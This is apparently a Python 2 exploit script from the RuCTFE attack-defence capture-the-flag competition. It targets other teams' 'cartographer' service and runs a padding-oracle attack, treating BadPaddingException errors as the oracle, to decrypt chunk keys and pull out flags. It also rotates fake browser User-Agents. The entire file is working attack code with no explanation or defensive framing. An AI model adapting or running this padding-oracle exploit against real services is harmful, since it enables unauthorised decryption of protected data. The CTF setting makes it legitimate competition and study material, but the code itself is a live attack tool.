#!/usr/bin/env python2
# encoding: utf-8
# author: bluec0re
from __future__ import print_function
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time
import random
import re
import sys
import struct
import logging
import uuid

FLAG_RE = re.compile(r'\w{31}=')
PART_RE = re.compile(r'_(.)\(\)')

USER_AGENTS = ['Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0',
               'Mozilla/5.0 (X11; Linux i686; rv:30.0) Gecko/20100101 Firefox/30.0',
               'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36',
               'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6',
               'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.39 (KHTML, like Gecko) Version/9.0 Safari/601.1.39']


class Client(requests.Session):
    def __init__(self, ip, port, team):
        super(Client, self).__init__()
        target = 'cartographer.team{}.ructfe.org'.format(team)
        print('IP', ip, 'TARGET', target)
        self.headers = {
            'User-Agent': random.choice(USER_AGENTS),
            'Host': target
        }
        self.target = 'http://{}:{}'.format(ip, port)

    def request(self, method, url, *args, **kwargs):
        return super(Client, self).request(method, self.target + url, *args, **kwargs)


class PadBuster(PaddingOracle):
    def __init__(self, ip, port, team, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = Client(ip, port, team)
        self.wait = kwargs.get('wait', 2.0)
        self.i = 0

    def get_list(self):
        resp = self.session.get('/chunks/_recent')
        chunks = resp.json()
        print(chunks)

        for chunk in chunks:
            self.attack_chunk(chunk)

    def attack_chunk(self, chunk):
        print('Attacking', chunk)
        resp = self.session.get('/chunks/' + chunk)
        chunk = memoryview(resp.content)

        length = struct.unpack('>I', chunk[:4])[0]
        metadata = chunk[4:4+length]

        data = metadata.tobytes()#[16:].tobytes()
        # iv = metadata[:16].tobytes()

        key = self.decrypt(metadata[16:], block_size=16, iv=bytearray(16))
        print('\nDecrypted', key)
        key = key[:-key[-1]].decode().replace('"}', '')
        print('Decrypted', key)


        response = self.session.post('/images/decrypt', json={
            'id': chunk,
            'key': key
        })

        result = response.content
        print(result)

        flag = FLAG_RE.search(result)
        if flag:
            print("FLAG!!!!!!!!!!!!!!!!!!", flag.group(0))

    def oracle(self, data, **kwargs):
        sys.stdout.write('\rTry {}'.format(self.i))
        sys.stdout.flush()
        self.i += 1
        data = struct.pack('>I', len(data)) + data
        uid = str(uuid.uuid4())
        while True:
            try:
                response = self.session.post('/images/decrypt',
                json={
                    'key': b64encode(bytearray(16)),
                    'chunk': b64encode(data)
                })
                # response = self.session.put('/chunks/' + uid, data=data)
                #
                #
                # response = self.session.post('/image/decrypt',
                # json={
                #     'key': b64encode(bytearray(16)),
                #     'id': uid
                # })
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        if not 'application/json' in response.headers['Content-Type'] or response.json().get('exception') != 'javax.crypto.BadPaddingException':
            logging.debug('No padding exception raised on %r', data)
            return

        # An HTTP 500 error was returned, likely due to incorrect padding
        raise BadPaddingException


def main():
    # logging.basicConfig(level=logging.DEBUG)
    ip, port, team = sys.argv[1:]
    client = PadBuster(ip, port, team)
    client.get_list()


if __name__ == '__main__':
    main()
